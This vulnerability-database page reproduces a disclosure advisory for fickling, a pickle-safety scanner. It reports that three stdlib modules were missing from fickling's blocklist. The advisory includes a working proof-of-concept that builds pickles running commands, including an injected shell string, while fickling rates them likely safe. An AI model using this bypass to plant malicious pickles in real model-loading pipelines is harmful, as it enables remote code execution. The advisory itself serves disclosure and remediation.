Vulnerability Database

326,895

Total vulnerabilities in the database

Fickling missing RCE-capable modules in UNSAFE_IMPORTS

Assessment

The modules uuid, _osx_support and _aix_support were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).

Original report

Summary

fickling's UNSAFE_IMPORTS blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: uuid, _osx_support, and _aix_support. These modules contain functions that internally call subprocess.Popen() or os.system() with attacker-controlled arguments. A malicious pickle file importing these modules passes both UnsafeImports and NonStandardImports checks.

Affected Versions

  • fickling <= 0.1.8 (all versions)

Details

Missing Modules

fickling's UNSAFE_IMPORTS (86 modules) does not include:

| Module | RCE Function | Internal Mechanism | Importable On | |--------|-------------|-------------------|---------------| | uuid | _get_command_stdout(cmd, *args) | subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL) | All platforms | | _osx_support | _read_output(cmdstring) | os.system(cmd) via temp file | All platforms | | _osx_support | _find_build_tool(toolname) | Command injection via %s in _read_output(&quot;/usr/bin/xcrun -find %s&quot; % toolname) | All platforms | | _aix_support | _read_cmd_output(cmdstring) | os.system(cmd) via temp file | All platforms |

Critical note: Despite the names _osx_support and _aix_support suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.

Why These Pass fickling

  1. NonStandardImports: These are stdlib modules, so is_std_module() returns True → not flagged
  2. UnsafeImports: Module names not in UNSAFE_IMPORTS → not flagged
  3. OvertlyBadEvals: Function names added to likely_safe_imports (stdlib) → skipped
  4. UnusedVariables: Defeated by BUILD opcode (purposely unhardend)

Proof of Concept (using fickling's opcode API)

from fickling.fickle import ( Pickled, Proto, Frame, ShortBinUnicode, StackGlobal, TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop, ) from fickling.analysis import check_safety import struct, pickle frame_data = b&quot;\x95&quot; + struct.pack(&quot;&lt;Q&quot;, 60) # uuid._get_command_stdout — works on ALL platforms uuid_payload = Pickled([ Proto(4), Frame(struct.pack(&quot;&lt;Q&quot;, 60), data=frame_data), ShortBinUnicode(&quot;uuid&quot;), ShortBinUnicode(&quot;_get_command_stdout&quot;), StackGlobal(), ShortBinUnicode(&quot;echo&quot;), ShortBinUnicode(&quot;PROOF_OF_CONCEPT&quot;), TupleTwo(), Reduce(), EmptyDict(), ShortBinUnicode(&quot;x&quot;), ShortBinUnicode(&quot;y&quot;), SetItem(), Build(), Stop(), ]) # _aix_support._read_cmd_output — works on ALL platforms aix_payload = Pickled([ Proto(4), Frame(struct.pack(&quot;&lt;Q&quot;, 60), data=frame_data), ShortBinUnicode(&quot;_aix_support&quot;), ShortBinUnicode(&quot;_read_cmd_output&quot;), StackGlobal(), ShortBinUnicode(&quot;echo PROOF_OF_CONCEPT&quot;), TupleOne(), Reduce(), EmptyDict(), ShortBinUnicode(&quot;x&quot;), ShortBinUnicode(&quot;y&quot;), SetItem(), Build(), Stop(), ]) # _osx_support._find_build_tool — command injection via %s osx_payload = Pickled([ Proto(4), Frame(struct.pack(&quot;&lt;Q&quot;, 60), data=frame_data), ShortBinUnicode(&quot;_osx_support&quot;), ShortBinUnicode(&quot;_find_build_tool&quot;), StackGlobal(), ShortBinUnicode(&quot;x; echo INJECTED #&quot;), TupleOne(), Reduce(), EmptyDict(), ShortBinUnicode(&quot;x&quot;), ShortBinUnicode(&quot;y&quot;), SetItem(), Build(), Stop(), ]) # All three: fickling reports LIKELY_SAFE for name, p in [(&quot;uuid&quot;, uuid_payload), (&quot;aix&quot;, aix_payload), (&quot;osx&quot;, osx_payload)]: result = check_safety(p) print(f&quot;{name}: severity={result.severity}, issues={len(result.results)}&quot;) # Output: severity=Severity.LIKELY_SAFE, issues=0 # All three: pickle.loads() executes the command pickle.loads(uuid_payload.dumps()) # prints PROOF_OF_CONCEPT

Verified Output

$ python3 poc.py uuid: severity=Severity.LIKELY_SAFE, issues=0 aix: severity=Severity.LIKELY_SAFE, issues=0 osx: severity=Severity.LIKELY_SAFE, issues=0 PROOF_OF_CONCEPT

Impact

An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as LIKELY_SAFE. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.

Suggested Fix

Add to UNSAFE_IMPORTS in fickling:

&quot;uuid&quot;, &quot;_osx_support&quot;, &quot;_aix_support&quot;,

Longer term: Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.

Resources

  • Python source: Lib/uuid.py lines 156-168 (_get_command_stdout)
  • Python source: Lib/_osx_support.py lines 35-52 (_read_output), lines 54-68 (_find_build_tool)
  • Python source: Lib/_aix_support.py lines 14-30 (_read_cmd_output)
  • fickling source: analysis.py UNSAFE_IMPORTS set

No technical information available.

CWEs:

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.